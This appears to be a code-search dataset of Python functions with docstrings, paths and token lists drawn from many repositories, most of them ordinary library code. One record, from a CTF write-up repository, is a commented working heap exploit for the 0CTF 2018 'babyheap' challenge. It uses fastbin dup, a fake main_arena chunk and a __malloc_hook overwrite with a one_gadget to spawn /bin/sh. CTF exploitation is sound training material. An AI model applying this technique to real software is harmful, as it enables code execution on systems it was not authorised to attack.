https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/psutil/_psbsd.py#L605-L609
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/asyncio/locks.py
python
Lock.release
(self)
Release a lock. When the lock is locked, reset it to unlocked, and return. If any other coroutines are blocked waiting for the lock to become unlocked, allow exactly one of them to proceed. When invoked on an unlocked lock, a RuntimeError is raised. There is no return value.
Release a lock.
[ "Release", "a", "lock", "." ]
def release(self): """Release a lock. When the lock is locked, reset it to unlocked, and return. If any other coroutines are blocked waiting for the lock to become unlocked, allow exactly one of them to proceed. When invoked on an unlocked lock, a RuntimeError is raised. There is no return value. """ if self._locked: self._locked = False self._wake_up_first() else: raise RuntimeError('Lock is not acquired.')
[ "def", "release", "(", "self", ")", ":", "if", "self", ".", "_locked", ":", "self", ".", "_locked", "=", "False", "self", ".", "_wake_up_first", "(", ")", "else", ":", "raise", "RuntimeError", "(", "'Lock is not acquired.'", ")" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/asyncio/locks.py#L203-L218
hughperkins/Jinja2CppLight
04196b080adf6edb86184824a1cf948ace310d19
thirdparty/cogapp/cogapp/cogapp.py
python
Cog.suffixLines
(self, text)
return text
Add suffixes to the lines in text, if our options desire it. text is many lines, as a single string.
Add suffixes to the lines in text, if our options desire it. text is many lines, as a single string.
[ "Add", "suffixes", "to", "the", "lines", "in", "text", "if", "our", "options", "desire", "it", ".", "text", "is", "many", "lines", "as", "a", "single", "string", "." ]
def suffixLines(self, text): """ Add suffixes to the lines in text, if our options desire it. text is many lines, as a single string. """ if self.options.sSuffix: # Find all non-blank lines, and add the suffix to the end. repl = r"\g<0>" + self.options.sSuffix.replace('\\', '\\\\') text = self.reNonEmptyLines.sub(repl, text) return text
[ "def", "suffixLines", "(", "self", ",", "text", ")", ":", "if", "self", ".", "options", ".", "sSuffix", ":", "# Find all non-blank lines, and add the suffix to the end.", "repl", "=", "r\"\\g<0>\"", "+", "self", ".", "options", ".", "sSuffix", ".", "replace", "(", "'\\\\'", ",", "'\\\\\\\\'", ")", "text", "=", "self", ".", "reNonEmptyLines", ".", "sub", "(", "repl", ",", "text", ")", "return", "text" ]
https://github.com/hughperkins/Jinja2CppLight/blob/04196b080adf6edb86184824a1cf948ace310d19/thirdparty/cogapp/cogapp/cogapp.py#L539-L547
sajjadium/ctf-writeups
1fd27f5d9619bddf670f25343948a8fe2f005f63
0CTF/2018/Quals/babyheap/exploit.py
python
exploit
(libc_base)
0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
[ "0x4526a", "execve", "(", "/", "bin", "/", "sh", "rsp", "+", "0x30", "environ", ")", "constraints", ":", "[", "rsp", "+", "0x30", "]", "==", "NULL" ]
def exploit(libc_base): # data[4] => fastbin_2 (0x60) # this allocation causes data[4] and data[2] pointing to the same fastbin_2 allocate(88) # due to the following double free, we can mount fastbin dup attack delete(2) delete(0) delete(4) # data[0] => fastbin_2 (0x60) allocate(88) # data[2] => fastbin_0 (0x60) allocate(88) # here we write 0x51 into the fastbin_2's fd # so when we do another allocation with size of 88 # we can write 0x51 into the head of fastbin free list update(0, 8, p64(0x51)) # data[4] => fastbin_2 (0x60) # after this allocation, 0x51 will be written into the head # of fastbin free list for chunks of 0x60 size allocate(88) # data[5] => fastbin_4 (0x50) allocate(72) # data[6] => fastbin_5 (0x50) allocate(72) # data[7] => fastbin_6 (0x50) allocate(72) # data[8] => fastbin_7 (0x50) # this allocation prevents consolidation into the top chunk allocate(72) # we use the off-by-one attack to launch fastbin dup attack again. # Here we are planning to allocate a fake chunk in main arena # Therefore, we set fastbin_5's size to 0xa1 update(5, 73, '\x00' * 72 + '\xa1') # deleting fastbin_5 will be put it in the unsorted bin because # its size is 0xa1. delete(6) # data[6] => fastbin_5 (0x50) allocate(72) # data[9] => fastbin_6 (0x50) # this causes data[7] and data[9] is pointing to the same chunk(fastbin_6) allocate(72) # due to the following double free, we can mount fastbin dup attack delete(7) delete(5) delete(9) # data[5] => fastbin_6 (0x50) allocate(72) # data[7] => fastbin_4 (0x50) allocate(72) # here we are writing the address of our fake chunk into the fastbin_6's fd # basically, this fake chunk is created before "top chunk" pointer in main arena # the reason we can do this is because we wrote the value of 0x51 in the main arena # previously, so the fake chunk looks legitimate to malloc arena_fake_chunk = libc_base + 0x3c4b40 print 'main arena\'s fake chunk: {}'.format(hex(arena_fake_chunk)) update(5, 72, p64(arena_fake_chunk) + 'c' * 64) # data[9] => fastbin_6 (0x50) # this allocation puts the main arena fake chunk's address in the head of fastbin free list allocate(72) # data[10] => fastbin_8 (0x50) # data[10] is pointing to the arena fake chunk allocate(72) # here we have the ability to overwrite top chunk pointer to somewhere near the malloc_hook # this new chunk is pointing right before the malloc_hook malloc_hook_fake_chunk = libc_base + 0x3c4b00 print 'malloc_hook\'s fake chunk: {}'.format(hex(malloc_hook_fake_chunk)) # we need to keep the integrity of the arena, so we have to write the last two 8-byte values update(10, 72, '\x00' * 40 + p64(malloc_hook_fake_chunk) + p64(0) + p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c4b78)) # data[11] => fastbin_9 (0x50) # this will use our fake top chunk and allocate a chunk that points right before malloc_hook allocate(72) ''' 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL ''' one_gadget = libc_base + 0x4526a print 'one gadget: {}'.format(hex(one_gadget)) # we need to overwrite malloc_hook with one gadget address update(11, 8, p64(one_gadget)) # we just need an arbitrary allocation to trigger malloc_hook allocate(10)
[ "def", "exploit", "(", "libc_base", ")", ":", "# data[4] => fastbin_2 (0x60)", "# this allocation causes data[4] and data[2] pointing to the same fastbin_2", "allocate", "(", "88", ")", "# due to the following double free, we can mount fastbin dup attack", "delete", "(", "2", ")", "delete", "(", "0", ")", "delete", "(", "4", ")", "# data[0] => fastbin_2 (0x60)", "allocate", "(", "88", ")", "# data[2] => fastbin_0 (0x60)", "allocate", "(", "88", ")", "# here we write 0x51 into the fastbin_2's fd", "# so when we do another allocation with size of 88", "# we can write 0x51 into the head of fastbin free list", "update", "(", "0", ",", "8", ",", "p64", "(", "0x51", ")", ")", "# data[4] => fastbin_2 (0x60)", "# after this allocation, 0x51 will be written into the head", "# of fastbin free list for chunks of 0x60 size", "allocate", "(", "88", ")", "# data[5] => fastbin_4 (0x50)", "allocate", "(", "72", ")", "# data[6] => fastbin_5 (0x50)", "allocate", "(", "72", ")", "# data[7] => fastbin_6 (0x50)", "allocate", "(", "72", ")", "# data[8] => fastbin_7 (0x50)", "# this allocation prevents consolidation into the top chunk", "allocate", "(", "72", ")", "# we use the off-by-one attack to launch fastbin dup attack again.", "# Here we are planning to allocate a fake chunk in main arena", "# Therefore, we set fastbin_5's size to 0xa1", "update", "(", "5", ",", "73", ",", "'\\x00'", "*", "72", "+", "'\\xa1'", ")", "# deleting fastbin_5 will be put it in the unsorted bin because", "# its size is 0xa1.", "delete", "(", "6", ")", "# data[6] => fastbin_5 (0x50)", "allocate", "(", "72", ")", "# data[9] => fastbin_6 (0x50)", "# this causes data[7] and data[9] is pointing to the same chunk(fastbin_6)", "allocate", "(", "72", ")", "# due to the following double free, we can mount fastbin dup attack", "delete", "(", "7", ")", "delete", "(", "5", ")", "delete", "(", "9", ")", "# data[5] => fastbin_6 (0x50)", "allocate", "(", "72", ")", "# data[7] => fastbin_4 (0x50)", "allocate", "(", "72", ")", "# here we are writing the address of our fake chunk into the fastbin_6's fd", "# basically, this fake chunk is created before \"top chunk\" pointer in main arena", "# the reason we can do this is because we wrote the value of 0x51 in the main arena", "# previously, so the fake chunk looks legitimate to malloc", "arena_fake_chunk", "=", "libc_base", "+", "0x3c4b40", "print", "'main arena\\'s fake chunk: {}'", ".", "format", "(", "hex", "(", "arena_fake_chunk", ")", ")", "update", "(", "5", ",", "72", ",", "p64", "(", "arena_fake_chunk", ")", "+", "'c'", "*", "64", ")", "# data[9] => fastbin_6 (0x50)", "# this allocation puts the main arena fake chunk's address in the head of fastbin free list", "allocate", "(", "72", ")", "# data[10] => fastbin_8 (0x50)", "# data[10] is pointing to the arena fake chunk", "allocate", "(", "72", ")", "# here we have the ability to overwrite top chunk pointer to somewhere near the malloc_hook", "# this new chunk is pointing right before the malloc_hook", "malloc_hook_fake_chunk", "=", "libc_base", "+", "0x3c4b00", "print", "'malloc_hook\\'s fake chunk: {}'", ".", "format", "(", "hex", "(", "malloc_hook_fake_chunk", ")", ")", "# we need to keep the integrity of the arena, so we have to write the last two 8-byte values", "update", "(", "10", ",", "72", ",", "'\\x00'", "*", "40", "+", "p64", "(", "malloc_hook_fake_chunk", ")", "+", "p64", "(", "0", ")", "+", "p64", "(", "libc_base", "+", "0x3c4b78", ")", "+", "p64", "(", "libc_base", "+", "0x3c4b78", ")", ")", "# data[11] => fastbin_9 (0x50)", "# this will use our fake top chunk and allocate a chunk that points right before malloc_hook", "allocate", "(", "72", ")", "one_gadget", "=", "libc_base", "+", "0x4526a", "print", "'one gadget: {}'", ".", "format", "(", "hex", "(", "one_gadget", ")", ")", "# we need to overwrite malloc_hook with one gadget address", "update", "(", "11", ",", "8", ",", "p64", "(", "one_gadget", ")", ")", "# we just need an arbitrary allocation to trigger malloc_hook", "allocate", "(", "10", ")" ]
https://github.com/sajjadium/ctf-writeups/blob/1fd27f5d9619bddf670f25343948a8fe2f005f63/0CTF/2018/Quals/babyheap/exploit.py#L53-L155
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Gems/CloudGemMetric/v1/AWS/common-code/Lib/numpy/compat/_inspect.py
python
strseq
(object, convert, join=joinseq)
Recursively walk a sequence, stringifying each element.
Recursively walk a sequence, stringifying each element.
[ "Recursively", "walk", "a", "sequence", "stringifying", "each", "element", "." ]
def strseq(object, convert, join=joinseq): """Recursively walk a sequence, stringifying each element. """ if type(object) in [list, tuple]: return join([strseq(_o, convert, join) for _o in object]) else: return convert(object)
[ "def", "strseq", "(", "object", ",", "convert", ",", "join", "=", "joinseq", ")", ":", "if", "type", "(", "object", ")", "in", "[", "list", ",", "tuple", "]", ":", "return", "join", "(", "[", "strseq", "(", "_o", ",", "convert", ",", "join", ")", "for", "_o", "in", "object", "]", ")", "else", ":", "return", "convert", "(", "object", ")" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Gems/CloudGemMetric/v1/AWS/common-code/Lib/numpy/compat/_inspect.py#L133-L140
zhaoweicai/mscnn
534bcac5710a579d60827f192035f7eef6d8c585
scripts/cpp_lint.py
python
CheckAltTokens
(filename, clean_lines, linenum, error)
Check alternative keywords being used in boolean expressions. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found.
Check alternative keywords being used in boolean expressions.
[ "Check", "alternative", "keywords", "being", "used", "in", "boolean", "expressions", "." ]
def CheckAltTokens(filename, clean_lines, linenum, error): """Check alternative keywords being used in boolean expressions. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found. """ line = clean_lines.elided[linenum] # Avoid preprocessor lines if Match(r'^\s*#', line): return # Last ditch effort to avoid multi-line comments. This will not help # if the comment started before the current line or ended after the # current line, but it catches most of the false positives. At least, # it provides a way to workaround this warning for people who use # multi-line comments in preprocessor macros. # # TODO(unknown): remove this once cpplint has better support for # multi-line comments. if line.find('/*') >= 0 or line.find('*/') >= 0: return for match in _ALT_TOKEN_REPLACEMENT_PATTERN.finditer(line): error(filename, linenum, 'readability/alt_tokens', 2, 'Use operator %s instead of %s' % ( _ALT_TOKEN_REPLACEMENT[match.group(1)], match.group(1)))
[ "def", "CheckAltTokens", "(", "filename", ",", "clean_lines", ",", "linenum", ",", "error", ")", ":", "line", "=", "clean_lines", ".", "elided", "[", "linenum", "]", "# Avoid preprocessor lines", "if", "Match", "(", "r'^\\s*#'", ",", "line", ")", ":", "return", "# Last ditch effort to avoid multi-line comments. This will not help", "# if the comment started before the current line or ended after the", "# current line, but it catches most of the false positives. At least,", "# it provides a way to workaround this warning for people who use", "# multi-line comments in preprocessor macros.", "#", "# TODO(unknown): remove this once cpplint has better support for", "# multi-line comments.", "if", "line", ".", "find", "(", "'/*'", ")", ">=", "0", "or", "line", ".", "find", "(", "'*/'", ")", ">=", "0", ":", "return", "for", "match", "in", "_ALT_TOKEN_REPLACEMENT_PATTERN", ".", "finditer", "(", "line", ")", ":", "error", "(", "filename", ",", "linenum", ",", "'readability/alt_tokens'", ",", "2", ",", "'Use operator %s instead of %s'", "%", "(", "_ALT_TOKEN_REPLACEMENT", "[", "match", ".", "group", "(", "1", ")", "]", ",", "match", ".", "group", "(", "1", ")", ")", ")" ]
https://github.com/zhaoweicai/mscnn/blob/534bcac5710a579d60827f192035f7eef6d8c585/scripts/cpp_lint.py#L3405-L3434
apache/qpid-proton
6bcdfebb55ea3554bc29b1901422532db331a591
python/proton/_data.py
python
Data.is_described
(self)
return pn_data_is_described(self._data)
Checks if the current node is a described value. The descriptor and value may be accessed by entering the described value. >>> # read a symbolically described string >>> assert data.is_described() # will error if the current node is not described >>> data.enter() >>> data.next() >>> print data.get_symbol() >>> data.next() >>> print data.get_string() >>> data.exit() :return: ``True`` if the current node is a described type, ``False`` otherwise.
Checks if the current node is a described value. The descriptor and value may be accessed by entering the described value.
[ "Checks", "if", "the", "current", "node", "is", "a", "described", "value", ".", "The", "descriptor", "and", "value", "may", "be", "accessed", "by", "entering", "the", "described", "value", "." ]
def is_described(self) -> bool: """ Checks if the current node is a described value. The descriptor and value may be accessed by entering the described value. >>> # read a symbolically described string >>> assert data.is_described() # will error if the current node is not described >>> data.enter() >>> data.next() >>> print data.get_symbol() >>> data.next() >>> print data.get_string() >>> data.exit() :return: ``True`` if the current node is a described type, ``False`` otherwise. """ return pn_data_is_described(self._data)
[ "def", "is_described", "(", "self", ")", "->", "bool", ":", "return", "pn_data_is_described", "(", "self", ".", "_data", ")" ]
https://github.com/apache/qpid-proton/blob/6bcdfebb55ea3554bc29b1901422532db331a591/python/proton/_data.py#L1184-L1200
domino-team/openwrt-cc
8b181297c34d14d3ca521cc9f31430d561dbc688
package/gli-pub/openwrt-node-packages-master/node/node-v6.9.1/deps/v8/tools/grokdump.py
python
InspectionPadawan.__getattr__
(self, name)
return getattr(self.heap, name)
An InspectionPadawan can be used instead of V8Heap, even though it does not inherit from V8Heap (aka. mixin).
An InspectionPadawan can be used instead of V8Heap, even though it does not inherit from V8Heap (aka. mixin).
[ "An", "InspectionPadawan", "can", "be", "used", "instead", "of", "V8Heap", "even", "though", "it", "does", "not", "inherit", "from", "V8Heap", "(", "aka", ".", "mixin", ")", "." ]
def __getattr__(self, name): """An InspectionPadawan can be used instead of V8Heap, even though it does not inherit from V8Heap (aka. mixin).""" return getattr(self.heap, name)
[ "def", "__getattr__", "(", "self", ",", "name", ")", ":", "return", "getattr", "(", "self", ".", "heap", ",", "name", ")" ]
https://github.com/domino-team/openwrt-cc/blob/8b181297c34d14d3ca521cc9f31430d561dbc688/package/gli-pub/openwrt-node-packages-master/node/node-v6.9.1/deps/v8/tools/grokdump.py#L1785-L1788
BSVino/DoubleAction
c550b168a3e919926c198c30240f506538b92e75
mp/src/thirdparty/protobuf-2.3.0/python/google/protobuf/reflection.py
python
_AddSerializeToStringMethod
(message_descriptor, cls)
Helper for _AddMessageMethods().
Helper for _AddMessageMethods().
[ "Helper", "for", "_AddMessageMethods", "()", "." ]
def _AddSerializeToStringMethod(message_descriptor, cls): """Helper for _AddMessageMethods().""" def SerializeToString(self): # Check if the message has all of its required fields set. errors = [] if not self.IsInitialized(): raise message_mod.EncodeError( 'Message is missing required fields: ' + ','.join(self.FindInitializationErrors())) return self.SerializePartialToString() cls.SerializeToString = SerializeToString
[ "def", "_AddSerializeToStringMethod", "(", "message_descriptor", ",", "cls", ")", ":", "def", "SerializeToString", "(", "self", ")", ":", "# Check if the message has all of its required fields set.", "errors", "=", "[", "]", "if", "not", "self", ".", "IsInitialized", "(", ")", ":", "raise", "message_mod", ".", "EncodeError", "(", "'Message is missing required fields: '", "+", "','", ".", "join", "(", "self", ".", "FindInitializationErrors", "(", ")", ")", ")", "return", "self", ".", "SerializePartialToString", "(", ")", "cls", ".", "SerializeToString", "=", "SerializeToString" ]
https://github.com/BSVino/DoubleAction/blob/c550b168a3e919926c198c30240f506538b92e75/mp/src/thirdparty/protobuf-2.3.0/python/google/protobuf/reflection.py#L787-L798
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/numba/unicode_support.py
python
_Py_ISALPHA
(ch)
return _Py_ctype_table[_Py_CHARMASK(ch)] & _PY_CTF.ALPHA
Equivalent to the CPython macro `Py_ISALPHA()`
Equivalent to the CPython macro `Py_ISALPHA()`
[ "Equivalent", "to", "the", "CPython", "macro", "Py_ISALPHA", "()" ]
def _Py_ISALPHA(ch): """ Equivalent to the CPython macro `Py_ISALPHA()` """ return _Py_ctype_table[_Py_CHARMASK(ch)] & _PY_CTF.ALPHA
[ "def", "_Py_ISALPHA", "(", "ch", ")", ":", "return", "_Py_ctype_table", "[", "_Py_CHARMASK", "(", "ch", ")", "]", "&", "_PY_CTF", ".", "ALPHA" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/numba/unicode_support.py#L695-L699
mantidproject/mantid
03deeb89254ec4289edb8771e0188c2090a02f32
Framework/PythonInterface/plugins/algorithms/ReflectometrySliceEventWorkspace.py
python
ReflectometrySliceEventWorkspace._get_property_or_default_as_datetime
(self, property_name, default_value, relative_start)
Get a property value as a DateAndTime. Return the given default value if the property is not set. If the property is in datetime format, return it directly. Otherwise if it is in seconds, then convert it to a datetime by adding it to the given relative_start time.
Get a property value as a DateAndTime. Return the given default value if the property is not set. If the property is in datetime format, return it directly. Otherwise if it is in seconds, then convert it to a datetime by adding it to the given relative_start time.
[ "Get", "a", "property", "value", "as", "a", "DateAndTime", ".", "Return", "the", "given", "default", "value", "if", "the", "property", "is", "not", "set", ".", "If", "the", "property", "is", "in", "datetime", "format", "return", "it", "directly", ".", "Otherwise", "if", "it", "is", "in", "seconds", "then", "convert", "it", "to", "a", "datetime", "by", "adding", "it", "to", "the", "given", "relative_start", "time", "." ]
def _get_property_or_default_as_datetime(self, property_name, default_value, relative_start): """Get a property value as a DateAndTime. Return the given default value if the property is not set. If the property is in datetime format, return it directly. Otherwise if it is in seconds, then convert it to a datetime by adding it to the given relative_start time.""" if self.getProperty(property_name).isDefault: return default_value else: value = self.getProperty(property_name).value try: result = DateAndTime(value) except: value_ns = int(value) * 1000000000 result = relative_start + value_ns return result
[ "def", "_get_property_or_default_as_datetime", "(", "self", ",", "property_name", ",", "default_value", ",", "relative_start", ")", ":", "if", "self", ".", "getProperty", "(", "property_name", ")", ".", "isDefault", ":", "return", "default_value", "else", ":", "value", "=", "self", ".", "getProperty", "(", "property_name", ")", ".", "value", "try", ":", "result", "=", "DateAndTime", "(", "value", ")", "except", ":", "value_ns", "=", "int", "(", "value", ")", "*", "1000000000", "result", "=", "relative_start", "+", "value_ns", "return", "result" ]
https://github.com/mantidproject/mantid/blob/03deeb89254ec4289edb8771e0188c2090a02f32/Framework/PythonInterface/plugins/algorithms/ReflectometrySliceEventWorkspace.py#L266-L279
moderngl/moderngl
32fe79927e02b0fa893b3603d677bdae39771e14
moderngl/texture.py
python
Texture.components
(self)
return self._components
int: The number of components of the texture.
int: The number of components of the texture.
[ "int", ":", "The", "number", "of", "components", "of", "the", "texture", "." ]
def components(self) -> int: ''' int: The number of components of the texture. ''' return self._components
[ "def", "components", "(", "self", ")", "->", "int", ":", "return", "self", ".", "_components" ]
https://github.com/moderngl/moderngl/blob/32fe79927e02b0fa893b3603d677bdae39771e14/moderngl/texture.py#L269-L274
chihyaoma/regretful-agent
5caf7b500667981bc7064e4d31b49e83db64c95a
scripts/precompute_img_features.py
python
transform_img
(im)
return blob
Prep opencv 3 channel image for the network
Prep opencv 3 channel image for the network
[ "Prep", "opencv", "3", "channel", "image", "for", "the", "network" ]
def transform_img(im): ''' Prep opencv 3 channel image for the network ''' im_orig = im.astype(np.float32, copy=True) im_orig -= np.array([[[103.1, 115.9, 123.2]]]) # BGR pixel mean blob = np.zeros((1, im.shape[0], im.shape[1], 3), dtype=np.float32) blob[0, :, :, :] = im_orig blob = blob.transpose((0, 3, 1, 2)) return blob
[ "def", "transform_img", "(", "im", ")", ":", "im_orig", "=", "im", ".", "astype", "(", "np", ".", "float32", ",", "copy", "=", "True", ")", "im_orig", "-=", "np", ".", "array", "(", "[", "[", "[", "103.1", ",", "115.9", ",", "123.2", "]", "]", "]", ")", "# BGR pixel mean", "blob", "=", "np", ".", "zeros", "(", "(", "1", ",", "im", ".", "shape", "[", "0", "]", ",", "im", ".", "shape", "[", "1", "]", ",", "3", ")", ",", "dtype", "=", "np", ".", "float32", ")", "blob", "[", "0", ",", ":", ",", ":", ",", ":", "]", "=", "im_orig", "blob", "=", "blob", ".", "transpose", "(", "(", "0", ",", "3", ",", "1", ",", "2", ")", ")", "return", "blob" ]
https://github.com/chihyaoma/regretful-agent/blob/5caf7b500667981bc7064e4d31b49e83db64c95a/scripts/precompute_img_features.py#L60-L67
alexgkendall/caffe-posenet
62aafbd7c45df91acdba14f5d1406d8295c2bc6f
scripts/cpp_lint.py
python
ProcessLine
(filename, file_extension, clean_lines, line, include_state, function_state, nesting_state, error, extra_check_functions=[])
Processes a single line in the file. Args: filename: Filename of the file that is being processed. file_extension: The extension (dot not included) of the file. clean_lines: An array of strings, each representing a line of the file, with comments stripped. line: Number of line being processed. include_state: An _IncludeState instance in which the headers are inserted. function_state: A _FunctionState instance which counts function lines, etc. nesting_state: A _NestingState instance which maintains information about the current stack of nested blocks being parsed. error: A callable to which errors are reported, which takes 4 arguments: filename, line number, error level, and message extra_check_functions: An array of additional check functions that will be run on each source line. Each function takes 4 arguments: filename, clean_lines, line, error
Processes a single line in the file.
[ "Processes", "a", "single", "line", "in", "the", "file", "." ]
def ProcessLine(filename, file_extension, clean_lines, line, include_state, function_state, nesting_state, error, extra_check_functions=[]): """Processes a single line in the file. Args: filename: Filename of the file that is being processed. file_extension: The extension (dot not included) of the file. clean_lines: An array of strings, each representing a line of the file, with comments stripped. line: Number of line being processed. include_state: An _IncludeState instance in which the headers are inserted. function_state: A _FunctionState instance which counts function lines, etc. nesting_state: A _NestingState instance which maintains information about the current stack of nested blocks being parsed. error: A callable to which errors are reported, which takes 4 arguments: filename, line number, error level, and message extra_check_functions: An array of additional check functions that will be run on each source line. Each function takes 4 arguments: filename, clean_lines, line, error """ raw_lines = clean_lines.raw_lines ParseNolintSuppressions(filename, raw_lines[line], line, error) nesting_state.Update(filename, clean_lines, line, error) if nesting_state.stack and nesting_state.stack[-1].inline_asm != _NO_ASM: return CheckForFunctionLengths(filename, clean_lines, line, function_state, error) CheckForMultilineCommentsAndStrings(filename, clean_lines, line, error) CheckStyle(filename, clean_lines, line, file_extension, nesting_state, error) CheckLanguage(filename, clean_lines, line, file_extension, include_state, nesting_state, error) CheckForNonConstReference(filename, clean_lines, line, nesting_state, error) CheckForNonStandardConstructs(filename, clean_lines, line, nesting_state, error) CheckVlogArguments(filename, clean_lines, line, error) CheckCaffeAlternatives(filename, clean_lines, line, error) CheckCaffeDataLayerSetUp(filename, clean_lines, line, error) CheckCaffeRandom(filename, clean_lines, line, error) CheckPosixThreading(filename, clean_lines, line, error) CheckInvalidIncrement(filename, clean_lines, line, error) CheckMakePairUsesDeduction(filename, clean_lines, line, error) for check_fn in extra_check_functions: check_fn(filename, clean_lines, line, error)
[ "def", "ProcessLine", "(", "filename", ",", "file_extension", ",", "clean_lines", ",", "line", ",", "include_state", ",", "function_state", ",", "nesting_state", ",", "error", ",", "extra_check_functions", "=", "[", "]", ")", ":", "raw_lines", "=", "clean_lines", ".", "raw_lines", "ParseNolintSuppressions", "(", "filename", ",", "raw_lines", "[", "line", "]", ",", "line", ",", "error", ")", "nesting_state", ".", "Update", "(", "filename", ",", "clean_lines", ",", "line", ",", "error", ")", "if", "nesting_state", ".", "stack", "and", "nesting_state", ".", "stack", "[", "-", "1", "]", ".", "inline_asm", "!=", "_NO_ASM", ":", "return", "CheckForFunctionLengths", "(", "filename", ",", "clean_lines", ",", "line", ",", "function_state", ",", "error", ")", "CheckForMultilineCommentsAndStrings", "(", "filename", ",", "clean_lines", ",", "line", ",", "error", ")", "CheckStyle", "(", "filename", ",", "clean_lines", ",", "line", ",", "file_extension", ",", "nesting_state", ",", "error", ")", "CheckLanguage", "(", "filename", ",", "clean_lines", ",", "line", ",", "file_extension", ",", "include_state", ",", "nesting_state", ",", "error", ")", "CheckForNonConstReference", "(", "filename", ",", "clean_lines", ",", "line", ",", "nesting_state", ",", "error", ")", "CheckForNonStandardConstructs", "(", "filename", ",", "clean_lines", ",", "line", ",", "nesting_state", ",", "error", ")", "CheckVlogArguments", "(", "filename", ",", "clean_lines", ",", "line", ",", "error", ")", "CheckCaffeAlternatives", "(", "filename", ",", "clean_lines", ",", "line", ",", "error", ")", "CheckCaffeDataLayerSetUp", "(", "filename", ",", "clean_lines", ",", "line", ",", "error", ")", "CheckCaffeRandom", "(", "filename", ",", "clean_lines", ",", "line", ",", "error", ")", "CheckPosixThreading", "(", "filename", ",", "clean_lines", ",", "line", ",", "error", ")", "CheckInvalidIncrement", "(", "filename", ",", "clean_lines", ",", "line", ",", "error", ")", "CheckMakePairUsesDeduction", "(", "filename", ",", "clean_lines", ",", "line", ",", "error", ")", "for", "check_fn", "in", "extra_check_functions", ":", "check_fn", "(", "filename", ",", "clean_lines", ",", "line", ",", "error", ")" ]
https://github.com/alexgkendall/caffe-posenet/blob/62aafbd7c45df91acdba14f5d1406d8295c2bc6f/scripts/cpp_lint.py#L4600-L4642
apache/madlib
be297fe6beada0640f93317e8948834032718e32
src/madpack/upgrade_util.py
python
ScriptCleaner._clean_function
(self)
@brief Remove "drop function" statements and rewrite "create function" statements in the sql script @note We don't drop any function
[]
def _clean_function(self): """ @brief Remove "drop function" statements and rewrite "create function" statements in the sql script @note We don't drop any function """ # remove 'drop function' pattern = re.compile(r"""DROP(\s+)FUNCTION(.*?);""", re.DOTALL | re.IGNORECASE) self._sql = re.sub(pattern, '', self._sql) # replace 'create function' with 'create or replace function' pattern = re.compile(r"""CREATE(\s+)FUNCTION""", re.DOTALL | re.IGNORECASE) self._sql = re.sub(pattern, 'CREATE OR REPLACE FUNCTION', self._sql)
[ "def", "_clean_function", "(", "self", ")", ":", "# remove 'drop function'", "pattern", "=", "re", ".", "compile", "(", "r\"\"\"DROP(\\s+)FUNCTION(.*?);\"\"\"", ",", "re", ".", "DOTALL", "|", "re", ".", "IGNORECASE", ")", "self", ".", "_sql", "=", "re", ".", "sub", "(", "pattern", ",", "''", ",", "self", ".", "_sql", ")", "# replace 'create function' with 'create or replace function'", "pattern", "=", "re", ".", "compile", "(", "r\"\"\"CREATE(\\s+)FUNCTION\"\"\"", ",", "re", ".", "DOTALL", "|", "re", ".", "IGNORECASE", ")", "self", ".", "_sql", "=", "re", ".", "sub", "(", "pattern", ",", "'CREATE OR REPLACE FUNCTION'", ",", "self", ".", "_sql", ")" ]
https://github.com/apache/madlib/blob/be297fe6beada0640f93317e8948834032718e32/src/madpack/upgrade_util.py#L1284-L1295
NVIDIA/TensorRT
42805f078052daad1a98bc5965974fcffaad0960
samples/python/yolov3_onnx/data_processing.py
python
PostprocessYOLO.__init__
(self, yolo_masks, yolo_anchors, obj_threshold, nms_threshold, yolo_input_resolution)
Initialize with all values that will be kept when processing several frames. Assuming 3 outputs of the network in the case of (large) YOLOv3. Keyword arguments: yolo_masks -- a list of 3 three-dimensional tuples for the YOLO masks yolo_anchors -- a list of 9 two-dimensional tuples for the YOLO anchors object_threshold -- threshold for object coverage, float value between 0 and 1 nms_threshold -- threshold for non-max suppression algorithm, float value between 0 and 1 input_resolution_yolo -- two-dimensional tuple with the target network's (spatial) input resolution in HW order
Initialize with all values that will be kept when processing several frames. Assuming 3 outputs of the network in the case of (large) YOLOv3.
[ "Initialize", "with", "all", "values", "that", "will", "be", "kept", "when", "processing", "several", "frames", ".", "Assuming", "3", "outputs", "of", "the", "network", "in", "the", "case", "of", "(", "large", ")", "YOLOv3", "." ]
def __init__(self, yolo_masks, yolo_anchors, obj_threshold, nms_threshold, yolo_input_resolution): """Initialize with all values that will be kept when processing several frames. Assuming 3 outputs of the network in the case of (large) YOLOv3. Keyword arguments: yolo_masks -- a list of 3 three-dimensional tuples for the YOLO masks yolo_anchors -- a list of 9 two-dimensional tuples for the YOLO anchors object_threshold -- threshold for object coverage, float value between 0 and 1 nms_threshold -- threshold for non-max suppression algorithm, float value between 0 and 1 input_resolution_yolo -- two-dimensional tuple with the target network's (spatial) input resolution in HW order """ self.masks = yolo_masks self.anchors = yolo_anchors self.object_threshold = obj_threshold self.nms_threshold = nms_threshold self.input_resolution_yolo = yolo_input_resolution
